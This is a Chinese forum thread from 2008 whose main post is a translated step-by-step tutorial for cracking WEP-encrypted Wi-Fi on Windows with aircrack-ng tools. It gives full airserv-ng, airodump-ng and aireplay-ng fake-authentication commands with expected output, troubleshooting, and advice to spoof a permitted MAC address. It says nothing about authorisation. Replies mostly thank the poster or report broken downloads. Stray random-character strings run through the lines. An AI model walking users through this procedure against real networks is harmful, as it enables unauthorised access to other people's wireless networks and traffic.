使用airrack-ng和注射式攻击来破解WEP(翻译为中文）

fzulib

使用airrack和注射式攻击来破解WEPA首先你需要正确安装网卡驱动: 如果你的网卡不被commview支持的话,那么你需要安装wildpackets的驱动.
A1如果你的网卡被commview支持的话,那么点下面的地址下载驱动:
http://www.tamos.com/bitrix/redirect.php?event1=download&event2=commwifi&event3=&goto=/files/ca5.zip
! _8 W6 k3 l& {& @, q/ wA2 如果不被commview支持的网卡则可以下载widpackets的驱动:
http://www.wildpackets.com/support/downloads/drivers
注意:下面的教程是在你正确安装commview的驱动的前提下进行的!
B 你需要下载这个.dll文件(只适用于commview 的网友):
6 m& Q% _. o6 u% M% Bhttp://darkircop.org/commview.dll
( u+ i! z  l7 j3 C, D2 d- S& f  U
, M7 H4 H' p, o  ]: e, |9 p0 y- WC 你需要下载aircrack 压缩包: http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

) c# z& R$ M- o+ c" L% yD 解压aircrack 压缩包到你的任意硬盘根目录,在这里我是解压到c盘

4 x7 m3 h. {- ^$ s' }/ k+ O4 {E 把B下载到的commview.dll 放到D解压的文件夹,应该放到目录c:\aircrack\

$ a: u9 y) h' A2 wF 去目录c:\program files\commview for wifi\(注意这个目录是安装完commview以后才会有,也就是A1你下载的文件),然后找到”ca2k.dll”文件,把”ca2k.dll”,拷贝到(c:\aircrack).
- t9 T0 P/ |( i9 I
当你完成以上准备以后,就可以开始正式的破解了!
" \1 R. V4 c4 E& ?2 I+ K原文提供的连接无法下载

特提供以上文件的合成包供下载
: h8 p" q, Y  X& t密码:password
6 k( {7 [5 z$ r! }5 G% `
/ K5 [  V# `( p, q6 O& z破解:
1:打开一个命令提示符 (开始 > 运行 > cmd.exe)
4 ^  T& l3 |8 Q+ p, ]7 a' i' f
) j9 J6 O+ M1 b% M2:在命令提示符窗口下面输入:
8 N3 d' Y, A% k; |% m7 E  r* I       Cd c:\aircrack
+ z1 j9 r2 b. ^% _" M3 A# s-按下回车
* n. `0 J9 I. K
3 在命令相同的提示符窗口下面输入:
6 x+ ?6 c6 ^6 H/ ?3 D$ F2 q       airserv-ng -d commview.dll
-按下回车
' J* ]9 R( Y: S5 C0 b+ v你看到的回复应该跟下面一样:
; ]$ A7 t" J9 Z. T) q
3 `% r* Z, i7 b5 rOpening card commview.dll
- q2 B5 C  P0 v  CSetting chan 1
' x! U( W, Q( i# w2 b& fOpening sock port 666
1 }+ S! A. P! f& v0 [Serving commview.dll chan 1 on port 666
+ u" F9 P/ {/ L4 H1 b
如果你没有看到上面的结果的话,而是看到下面的结果的话:
2 a+ A! P; m" a  |$ r
注意这里可能会有两种情况出现!!!!!:

(1)
# }' M0 o+ N7 Y  B% l" }9 O"Opening card commview.dll
1 ?6 o# Z# |0 o9 K8 xAdapter not found
get_guid()
airserv-ng: wi_open(): No error"
( ^. X! ^; d5 U/ D. E$ T7 S1 R0 G
( @0 j1 U5 r7 G这种情况那么你可以试试这个命令:

. R% M5 M! u# m  m% @( ^. n0 Mairserv-ng -d "commview.dll|debug"

) P; y; P2 Q3 `9 x: _. \然后你可能会看到下面的结果
* h8 l' z" b4 B  J8 z, P
Opening card commview.dll|debug
Name: [CommView] Proxim ORiNOCO 802.11b/g ComboCard Gold 8470
" j9 u/ x5 {* R* r% rget_guid: name: {15A802FC-ACEE-4CCB-B12A-72CAA3EBDA82} desc: ORiNOCO 802.11bg Co
mboCard Gold - Paketplaner-Miniport
/ z6 P& _6 B" |3 {8 f5 pAdapter not found
get_guid()
5 j  k1 p# c2 Y, Oairserv-ng: wi_open(): No error
& P; r: V/ v, q7 x
那么你只要输入下面的命令就可以了
, Y/ `; }: M! H6 t: Q4 P
airserv-ng -d "commview.dll|{15A802FC-ACEE-4CCB-B12A-72CAA3EBDA82}"

或者会自动搜寻网卡,然后提示你是不是这个网卡,然你远yes/no,那么你需要选择yes就可以了
  z+ u0 y: A! O3 l: i9 y
- M' o& B, y6 A( @( ?- _3 L% b(2)
2 d" a  P' s8 n$ j5 F7 ~5 b- `"Opening card commview.dll
' M7 S3 [' z2 ^9 kF1
; B( V5 U2 \6 e; P0 i" jinit_lib()
- m& o4 m6 o& ?9 f3 n8 O' {airserv-ng: wi_open(): No error"

这种情况的话,那么你应该是由于安装了,windpackets 驱动而产生的问题,那么建议你安装commview 驱动,如果可能的话.
8 {9 Y: ]; ?! ^0 e/ a! a
4
-注意现在重新开一个新的命令提示符窗口(我叫它窗口2),不要关掉前面的那个(窗口1)!!!
( L( i7 E2 {; G  W7 Y& \2 ]-在窗口2输入命令如下:
       cd c:\aircrack\
" A( N2 ]$ G; p按回车

5
6 h' L! d- f2 z2 G  P7 B-在窗口2输入命令如下:
: o" D" }) y9 e1 l% j) p       airodump-ng 127.0.0.1:666
回车

/ S# N( D, G! b; t2 X8 U提示: 如果你知道需要监视那个频道的话,那么你可以输入以下命令,我建议你这样做!!!:

airodump-ng --channel 你的频道号 127.0.0.1:666
       比如说我需要监视的频道是6,那么命令如下

1 ^- P) Y! k0 @% l& h       airodump-ng --channel 6 127.0.0.1:666

好了,现在airodump-ng 现在应该已经开始截取数据了,后面我们会使用注射式攻击来提高数据包的获取速度.
6
现在重新开一个新的命令提示符窗口(窗口3),不要关掉前面的(窗口1)和(窗口2)!!!
# }9 x) L; f% u& N$ N( M3 H-在窗口3输入命令如下:
: J5 H$ B7 Y6 E1 _6 E       cd c:\aircrack\
按回车
- J2 m) l# u" T7 H7 u7
在窗口3输入后面的命令:
: o* S! ^0 G0 e) L2 haireplay-ng -1 0 -e 你想破解网络的ESSID -a 你想破解网络的BSSID -h 你用来监视的网络的网卡MAC 127.0.0.1:666
实例:
* ]9 `% e/ L- @; oESSID = wifi16
- r* o; W6 y" j- o! |% Q9 v7 xBSSID = 11:22:33:44:55:66
MAC = 01:23:45:67:89:01
提示:
你想破解网络的ESSID = 破解网络的名字 (wifi16, mynetwork)
你想破解网络的BSSID = 破解网络的MAC  (11:22:33:44:55:66)
2 f# Q4 f6 `. d( T* a你用来监视的网络的网卡MAC = 这个就是你的网卡MAC咯
. f* [# Y" r. l6 S. d那么命令行应该是:
* m' {3 Q4 Y: x* B# l$ |2 T# ?$ \aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666
如果一切正常的话那么你会得到下面的回复:
% ~1 @$ o( {  V5 y" G5 aSending Authentication Request
Authentication successful
$ n$ ^% a; o  FSending Association Request
Association successful
如果你得到:
AP rejects the source MAC address
这说明你破解的网络只允许特定的MAC 访问,那你你需要把你的MAC地址改成破解网络允许的地址.
如果你持续得到:
sending authentication request
1 P" `* n$ M" M) v! g; z那么说明你离破解网络太远了,信号太弱,你需要离破解网络跟进一点,以获得更好的信号.
9 a  ^4 {6 h" F0 g' W/ M  x
[ 本帖最后由 fzulib 于 2008-9-5 16:01 编辑 ]

test2008

好教程,谢谢分享。

jinjay311

为什么下载不下来呢??

lsdlhd02

秉着求学上进这的态度支持楼主!学习了!

BTANY

教程很好，可惜特提供以上文件的合成包供下载，这个下载不到了，晕

wqz

为什么我的打了airserv-ng -d commview.dll后提示airserv-ng -d不是内部或外部命令,也不是可运行的程序或批处理文件?

dragontiger

这帖子是从别处转来的？附件不能下载，该有的图也没有。
( {9 d! o! `) ?( C9 c' |6 n$ U不过还算比较详细

553215788

为什么我的打了airserv-ng -d commview.dll后提示airserv-ng -d不是内部或外部命令,也不是可运行的程序或批处理文件?

kingyet

转过来的如果原作者不是本人要注明，是本人就无所谓，随便转过来都可以加分不好

aimin0459

我很菜，能否介绍傻瓜式操作

terryyy

好好好ddddd

sh网友

谢谢楼主的分享！！:)